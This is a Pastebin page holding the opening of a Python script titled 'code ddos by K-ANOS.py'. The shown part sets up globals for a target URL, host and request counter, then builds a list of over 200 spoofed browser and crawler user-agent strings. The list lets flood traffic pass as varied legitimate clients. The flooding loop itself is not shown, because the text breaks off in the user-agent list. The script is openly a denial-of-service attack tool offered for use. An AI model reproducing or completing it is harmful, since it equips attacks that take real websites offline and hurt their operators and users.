Advertisement
TP2K1

code ddos by K-ANOS.py [python]

Jun 28th, 2015
4,335
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 50.31 KB | None | 0 0
  1. #author: K-ANOS -11022015
  2. import urllib2
  3. import sys
  4. import threading
  5. import random
  6. import re
  7. import time
  8. #global params
  9. url=''
  10. host=''
  11. headers_useragents=[287]
  12. headers_referers=[159]
  13. keyword_top=[300]
  14. request_counter=000000000000
  15. flag=0
  16. safe=0
  17.  
  18. def inc_counter():
  19. global request_counter
  20. request_counter+=1
  21.  
  22. def set_flag(val):
  23. global flag
  24. flag=val
  25.  
  26. def set_safe():
  27. global safe
  28. safe=1
  29.  
  30. # user agents
  31. def useragent_list():
  32. global headers_useragents
  33. headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  34. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  35. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  36. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  37. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  38. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  39. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  40. headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  41. headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  42. headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  43. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  44. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  45. headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  46. headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  47. headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  48. headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  49. headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  50. headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  51. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  52. headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  53. headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  54. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  55. headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  56. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  57. headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  58. headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  59. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  60. headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  61. headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  62. headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  63. headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  64. headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  65. headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  66. headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  67. headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  68. headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  69. headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  70. headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  71. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  72. headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  73. headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  74. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  75. headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  76. headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  77. headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  78. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  79. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  80. headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  81. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')
  82. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  83. headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)')
  84. headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)')
  85. headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')
  86. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')
  87. headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0')
  88. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')
  89. headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)')
  90. headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')
  91. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)')
  92. headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  93. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)')
  94. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)')
  95. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')
  96. headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')
  97. headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')
  98. headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')
  99. headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  100. headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)')
  101. headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  102. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  103. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  104. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  105. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  106. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  107. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  108. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  109. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  110. headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  111. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  112. headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  113. headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)')
  114. headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
  115. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  116. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  117. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  118. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  119. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  120. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  121. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)')
  122. headers_useragents.append('Links (2.1pre15; FreeBSD 5.4-STABLE i386; 158x58)')
  123. headers_useragents.append('Wget/1.8.2')
  124. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.0')
  125. headers_useragents.append('Mediapartners-Google/2.1')
  126. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.5) Gecko/20031007 Firebird/0.7')
  127. headers_useragents.append('Mozilla/4.04 [en] (WinNT; I)')
  128. headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20060205 Galeon/2.0.0 (Debian package 2.0.0-2)')
  129. headers_useragents.append('lwp-trivial/1.41')
  130. headers_useragents.append('NetBSD-ftp/20031210')
  131. headers_useragents.append('Dillo/0.8.5-i18n-misc')
  132. headers_useragents.append('Links (2.1pre20; NetBSD 2.1_STABLE i386; 145x54)')
  133. headers_useragents.append('Lynx/2.8.5rel.5 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7d')
  134. headers_useragents.append('Lynx/2.8.5rel.3 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7d')
  135. headers_useragents.append('Links (2.1pre19; NetBSD 2.1_STABLE sparc64; 145x54)')
  136. headers_useragents.append('Lynx/2.8.6dev.15 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7d')
  137. headers_useragents.append('Links (2.1pre14; IRIX64 6.5 IP27; 145x54)')
  138. headers_useragents.append('Wget/1.10.1')
  139. headers_useragents.append('ELinks/0.10.5 (textmode; FreeBSD 4.11-STABLE i386; 80x22-2)')
  140. headers_useragents.append('Links (2.1pre20; FreeBSD 4.11-STABLE i386; 80x22)')
  141. headers_useragents.append('Lynx/2.8.5rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7d-p1')
  142. headers_useragents.append('Opera/8.52 (X11; Linux i386; U; de)')
  143. headers_useragents.append('Mozilla/5.0 (X11; U; NetBSD i386; en-US; rv:1.8.0.1) Gecko/20060310 Firefox/1.5.0.1')
  144. headers_useragents.append('Mozilla/5.0 (X11; U; IRIX64 IP27; en-US; rv:1.4) Gecko/20030711')
  145. headers_useragents.append('Mozilla/4.8 [en] (X11; U; IRIX64 6.5 IP27)')
  146. headers_useragents.append('Mozilla/4.76 [en] (X11; U; SunOS 5.8 sun4m)')
  147. headers_useragents.append('Opera/5.0 (SunOS 5.8 sun4m; U) [en]')
  148. headers_useragents.append('Links (2.1pre15; SunOS 5.8 sun4m; 80x24)')
  149. headers_useragents.append('Lynx/2.8.5rel.1 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7d')
  150. headers_useragents.append('Wget/1.8.1')
  151. headers_useragents.append('Wget/1.9.1')
  152. headers_useragents.append('tnftp/20050625')
  153. headers_useragents.append('Links (1.00pre12; Linux 2.6.14.2.20051115 i686; 80x24) (Debian pkg 0.99+1.00pre12-1)')
  154. headers_useragents.append('Lynx/2.8.5rel.1 libwww-FM/2.14 SSL-MM/1.4.1 GNUTLS/1.0.16')
  155. headers_useragents.append('Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.7) Gecko/20051122')
  156. headers_useragents.append('Wget/1.7')
  157. headers_useragents.append('Lynx/2.8.2rel.1 libwww-FM/2.14')
  158. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; de) Opera 8.53')
  159. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727)')
  160. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  161. headers_useragents.append('Lynx/2.8.5rel.1 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7e')
  162. headers_useragents.append('Links (2.1pre20; SunOS 5.10 sun4u; 80x22)')
  163. headers_useragents.append('Lynx/2.8.5rel.5 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7i')
  164. headers_useragents.append('Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8) Gecko/20060202 Firefox/1.5')
  165. headers_useragents.append('Opera/8.51 (X11; Linux i386; U; de)')
  166. headers_useragents.append('Emacs-W3/4.0pre.46 URL/p4.0pre.46 (i386--freebsd; X11)')
  167. headers_useragents.append('Links (0.96; OpenBSD 3.0 sparc)')
  168. headers_useragents.append('Lynx/2.8.4rel.1 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.6c')
  169. headers_useragents.append('Lynx/2.8.3rel.1 libwww-FM/2.14')
  170. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  171. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)')
  172. headers_useragents.append('libwww-perl/5.79')
  173. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; en) Opera 8.53')
  174. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.12) Gecko/20050919 Firefox/1.0.7')
  175. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar)')
  176. headers_useragents.append('msnbot/1.0 (+http://search.msn.com/msnbot.htm)')
  177. headers_useragents.append('Googlebot/2.1 (+http://www.google.com/bot.html)')
  178. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  179. headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051008 Firefox/1.0.7')
  180. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 8.51')
  181. headers_useragents.append('Mozilla/5.0 (compatible; Konqueror/3.4; Linux) KHTML/3.4.3 (like Gecko)')
  182. headers_useragents.append('Lynx/2.8.4rel.1 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7c')
  183. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar)')
  184. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)')
  185. headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  186. headers_useragents.append('Mozilla/4.8 [en] (Windows NT 5.1; U)')
  187. headers_useragents.append('Opera/8.51 (Windows NT 5.1; U; en)')
  188. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)')
  189. headers_useragents.append('Opera/8.51 (Windows NT 5.1; U; en;VWP-online.de)')
  190. headers_useragents.append('sproose/0.1-alpha (sproose crawler; http://www.sproose.com/bot.html; crawler@sproose.com)')
  191. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0')
  192. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0,gzip(gfe) (via translate.google.com)')
  193. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  194. headers_useragents.append('BrowserEmulator/0.9 see http://dejavu.org')
  195. headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')
  196. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90)')
  197. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:0.9.4.1) Gecko/20020508')
  198. headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.2 (KHTML, like Gecko)')
  199. headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.4) Gecko/20030624')
  200. headers_useragents.append('iCCrawler (http://www.iccenter.net/bot.htm)')
  201. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.6) Gecko/20050321 Firefox/1.0.2')
  202. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Maxthon; .NET CLR 1.1.4322)')
  203. headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.7.12) Gecko/20051013 Debian/1.7.12-1ubuntu1')
  204. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8) Gecko/20051111 Firefox/1.5')
  205. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)')
  206. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:0.9.4.1) Gecko/20020508 Netscape6/6.2.3')
  207. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; de) Opera 8.50')
  208. headers_useragents.append('Mozilla/3.0 (x86 [de] Windows NT 5.0; Sun)')
  209. headers_useragents.append('Java/1.4.1_04')
  210. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8) Gecko/20051111 Firefox/1.5')
  211. headers_useragents.append('msnbot/0.9 (+http://search.msn.com/msnbot.htm)')
  212. headers_useragents.append('NutchCVS/0.8-dev (Nutch running at UW; http://www.nutch.org/docs/en/bot.html; sycrawl@cs.washington.edu)')
  213. headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-14.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  214. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 8.53')
  215. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.4) Gecko/20030619 Netscape/7.1 (ax)')
  216. headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.6')
  217. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt)')
  218. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 4.0)')
  219. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.16; Mac_PowerPC)')
  220. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.01; Windows 98)')
  221. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)')
  222. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)')
  223. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; .NET CLR 1.1.4322)')
  224. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.0; Windows 95)')
  225. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; AOL 7.0; Windows 98)')
  226. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.17; Mac_PowerPC)')
  227. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)')
  228. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.23; Mac_PowerPC)')
  229. headers_useragents.append('Opera/8.53 (Windows NT 5.1; U; en)')
  230. headers_useragents.append('Opera/8.01 (Windows NT 5.0; U; de)')
  231. headers_useragents.append('Opera/8.54 (Windows NT 5.1; U; de)')
  232. headers_useragents.append('Opera/8.53 (Windows NT 5.0; U; en)')
  233. headers_useragents.append('Opera/8.01 (Windows NT 5.1; U; de)')
  234. headers_useragents.append('Opera/8.50 (Windows NT 5.1; U; de)')
  235. headers_useragents.append('Mozilla/4.0 (compatible- MSIE 6.0- Windows NT 5.1- SV1- .NET CLR 1.1.4322')
  236. headers_useragents.append('Mozilla/4.0(compatible; MSIE 5.0; Windows 98; DigExt)')
  237. headers_useragents.append('Mozilla/4.0 (compatible; Cerberian Drtrs Version-3.2-Build-0)')
  238. headers_useragents.append('Mozilla/4.0 (compatible; AvantGo 6.0; FreeBSD)')
  239. headers_useragents.append('Mozilla/4.5 [de] (Macintosh; I; PPC)')
  240. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  241. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; .NET CLR 1.1.4322; MSN 9.0;MSN 9.1; MSNbMSNI; MSNmen-us; MSNcIA; MPLUS)')
  242. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {59FC8AE0-2D88-C929-DA8D-B559D01826E7}; .NET CLR 1.1.4322)')
  243. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; snprtz|S04741035500914#914|isdn; .NET CLR 1.1.4322)')
  244. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; EnergyPlugIn; dial)')
  245. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iebar; .NET CLR 1.1.4322)')
  246. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; sbcydsl 3.12; YComp 5.0.0.0; YPC 3.2.0; .NET CLR 1.1.4322; yplus 5.1.02b)')
  247. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Arcor 5.004; .NET CLR 1.0.3705)')
  248. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322)')
  249. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YComp 5.0.0.0; SV1; .NET CLR 1.0.3705)')
  250. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Ringo; .NET CLR 1.1.4322)')
  251. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.0.1; .NET CLR 1.1.4322; yplus 4.1.00b)')
  252. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; YPC 3.2.0)')
  253. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; AOL 7.0; Windows NT 5.1; FunWebProducts)')
  254. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; BUILDWARE 1.6; .NET CLR 1.1.4322)')
  255. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; HbTools 4.7.5)')
  256. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; (R1 1.5)')
  257. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; it)')
